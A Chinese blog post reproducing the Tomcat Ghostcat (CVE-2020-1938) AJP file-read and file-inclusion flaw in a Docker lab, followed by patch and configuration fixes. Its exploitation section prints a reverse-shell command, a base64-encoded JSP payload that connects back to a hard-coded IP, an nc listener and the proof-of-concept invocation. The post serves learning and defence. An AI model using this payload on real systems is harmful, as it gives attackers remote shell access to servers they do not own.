title: Tomcat幽灵猫漏洞复现
author: 夜莺
categories:
- 漏洞复现
tags: - 漏洞复现
cover: ‘https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/qNiK5a.png‘
abbrlink: 28138
date: 2020-02-22 18:58:01
Tomcat-CVE-2020-1938复现
漏洞概述
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全局管理和Tomcat阀等。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。 攻击者通过Ajp协议端口利用该漏洞进行文件读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。
漏洞影响版本
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
复现环境
本次漏洞复现采用Docker
Tomcat版本8.5.32
下载镜像
docker search tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32
启动镜像
``docker images
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat duonghuuphuc/tomcat-8.5.32
docker port ghostcat
漏洞利用
相关漏洞利用脚本
https://github.com/xindongzhuaizhuai/CVE-2020-1938
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
文件读取
文件包含RCE
利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例bash -i >& /dev/tcp/反弹ip/反弹端口 0>&1
为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。
bash payload
最终的payload文件test.txt如下:<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMTg2Ljg5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
开启监听
使用脚本nc -lvvp 8888
python poc.py -p 8009 -f test.txt 目标ip
加固修复
Apache官方已发布9.0.31、8.5.51及7.0.100版本针对此漏洞进行修复,Apache Tomcat 6 已经停止维护,请升级到最新受支持的 Tomcat 版本以免遭受漏洞影响:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
使用AJP协议的临时处置方法:为AJP Connector配置secret来设置 AJP 协议的认证凭证,且注意口令强度
- 未使用AJP协议的临时处置方法:禁用AJP协议端口,在conf/server.xml配置文件中注释,并重启Tomcat服务
参考链接
https://mp.weixin.qq.com/s/8Wueh4lkKBtfNisjxOSoWA
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi